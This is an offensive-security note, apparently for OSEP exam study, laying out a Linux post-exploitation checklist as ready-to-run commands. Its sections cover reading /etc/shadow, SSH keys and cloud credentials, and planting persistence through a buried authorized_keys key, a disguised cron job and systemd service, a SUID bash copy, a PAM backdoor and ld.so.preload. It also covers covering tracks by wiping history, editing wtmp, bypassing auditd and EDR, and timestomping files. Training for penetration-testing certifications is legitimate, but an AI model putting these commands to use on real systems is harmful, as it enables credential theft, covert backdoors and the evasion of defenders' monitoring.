Linux post-exploitation tradecraft

Linux post-exploitation tradecraft

TL;DR: Once you have root on a Linux box, the OSEP-relevant work begins: collect creds and pivots, persist with something the next admin won’t notice, evade auditd/falco/EDR, and don’t leave a trail in shell history or wtmp. This note is the operator’s checklist. Companion to linux-userland-and-kernel-rootkit-primer.

Triage on first root (90-second pass)

1
2
3
4
5
6
7
8
9
10
11
id; uname -a; hostnamectl
cat /etc/os-release
cat /etc/hostname
cat /etc/resolv.conf
ip -br a; ip route
ss -tlnp; ss -ulnp
ps auxf
last -i; lastlog -t 30
who -a
crontab -l; ls -la /etc/cron.* /var/spool/cron/
systemctl list-timers --all

Don’t pipe to a file in /tmp yet — first read what’s there:

1
ls -la /tmp /var/tmp /dev/shm /root /home/*/

Credential harvesting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# SSH keys, known_hosts, authorized_keys
find / -type f \( -name "id_*" -o -name "authorized_keys" -o -name "known_hosts" \) 2>/dev/null

# Bash history (the thing every admin forgets)
cat /home/*/.bash_history /root/.bash_history 2>/dev/null
ls /home/*/.*history /root/.*history 2>/dev/null

# Common cred files
cat /etc/shadow                              # if root
cat /root/.aws/credentials 2>/dev/null
cat /root/.gcloud/* 2>/dev/null
cat ~/.docker/config.json 2>/dev/null
find / -name "*.kdbx" -o -name "*.pem" -o -name "*.kube*config*" 2>/dev/null
grep -RIn --include='*.env' --include='*.yaml' --include='*.yml' \
  'password\|api_key\|secret\|token' /etc /opt /home /var/www 2>/dev/null

# Process command lines often leak args with passwords
ps -eo pid,user,command | grep -iE 'pass|token|secret|api_key' | grep -v grep

For LSASS-style memory cred extraction on Linux: dump /proc/<pid>/maps and search for known patterns (mimipenguin) — see references.

Lateral knowledge

  • /etc/hosts and /etc/resolv.conf reveal internal naming.
  • /etc/fstab reveals NFS mounts; if no_root_squash see nfs-no-root-squash.
  • ~/.ssh/config reveals jump hosts and host aliases.
  • cat /root/.bash_history | grep ssh often gives you the next pivot directly.

Persistence (low-noise first)

In order of “how surprised will the SOC be”:

1. SSH authorized_keys

1
2
3
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Stealth tweak: bury your key on line 50 of a long file; admins skim the top.

2. Cron with a quiet command

1
2
echo '*/30 * * * * root /usr/local/lib/.update.sh >/dev/null 2>&1' \
  >> /etc/cron.d/update

Name it update or apt-cache-prune. Plenty of legitimate cron entries look this anodyne.

3. systemd user service

1
2
3
4
5
6
7
8
9
10
11
12
13
# /etc/systemd/system/update-helper.service
[Unit]
Description=Package cache helper
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/lib/.update.sh
Restart=on-failure
RestartSec=300

[Install]
WantedBy=multi-user.target
1
2
systemctl daemon-reload
systemctl enable --now update-helper.service

4. SUID binary

1
cp /bin/bash /usr/local/sbin/.bash; chmod 4755 /usr/local/sbin/.bash

Then call /usr/local/sbin/.bash -p from any unprivileged account.

5. PAM module (advanced)

Drop a custom PAM module that, when called from pam_authenticate, accepts a magic password and grants login. Stable across reboots, invisible to file-integrity monitors that only watch /etc/passwd. See linux-userland-and-kernel-rootkit-primer.

6. LD_PRELOAD via /etc/ld.so.preload

1
echo "/usr/local/lib/.preload.so" >> /etc/ld.so.preload

Loads your .so into every dynamically linked binary system-wide. Easy to detect if defenders look in the right file, but most don’t.

Evasion

Bash history

1
2
3
4
5
6
unset HISTFILE                  # current shell only
export HISTFILE=/dev/null       # alternative
history -c                      # clear in-memory
ln -sf /dev/null ~/.bash_history   # persistent — also a tell
HISTCONTROL=ignorespace          # then prefix every command with a space
 whoami        # leading space → not recorded

wtmp / utmp / btmp

1
2
3
4
# remove specific session entries (utmpdump pattern; needs root)
utmpdump /var/log/wtmp > /tmp/wtmp.txt
# edit /tmp/wtmp.txt to drop your sessions
utmpdump -r /tmp/wtmp.txt > /var/log/wtmp

There are tools (wipe, 0wned-wipe) but the principle is: parse utmp record format, remove your tty/host entries, write back.

auditd

1
2
3
4
5
6
7
8
# What is being audited?
auditctl -l

# Read recent events
ausearch -ts recent

# Common high-value rules to look for: watches on /etc/passwd, /etc/shadow,
# execve syscalls for specific UIDs, watches on /root.

Bypass options:

  • Avoid watched paths — write your files anywhere not in auditctl -l.
  • Use syscalls auditd doesn’t watch — exec via execveat, file I/O via uncommon syscall numbers.
  • Stop or rate-limit auditdservice auditd stop is loud and logged elsewhere; modify audit.rules in place and reload only if you can suppress the reload event.
  • Trojanise the auditd binary — heavy. Last resort.

EDR (CrowdStrike Falcon, SentinelOne, etc.)

Modern Linux EDR uses eBPF or kernel modules to hook syscalls. You see:

  • falcon-sensor / sentineld / wazuh-agent processes.
  • LKMs you didn’t load (lsmod).

Tactical:

  • Live off LOLBins (curl, wget, python, socat) — fewer signature hits than dropped binaries.
  • Avoid bash -i reverse shells from default Bash; the EDR is fingerprinting those.
  • Use pty upgrades that look like SSH session shapes.

File timestamps

1
2
3
4
5
# match a target's timestamp on your dropped file
touch -r /bin/ls /usr/local/lib/.update.sh

# stat to verify
stat /usr/local/lib/.update.sh

Real defenders watch ctime (change time) which touch does not modify. ctime requires more invasive techniques (debugfs on ext4) and is generally a hint that you’re being hunted.

OSEP-shaped exercise

  1. Get a low-priv shell on a Linux target.
  2. Enumerate auditd rules; document what’s watched.
  3. Privesc using a vector auditd is not watching.
  4. Drop a PAM-module backdoor.
  5. Add an authorized_keys persistence with a buried key.
  6. Clear your wtmp entry and history.
  7. Beacon out via DNS C2 only (no TCP).

When you can run that whole chain blind in 30 minutes, you’re OSEP-Linux-fluent.

References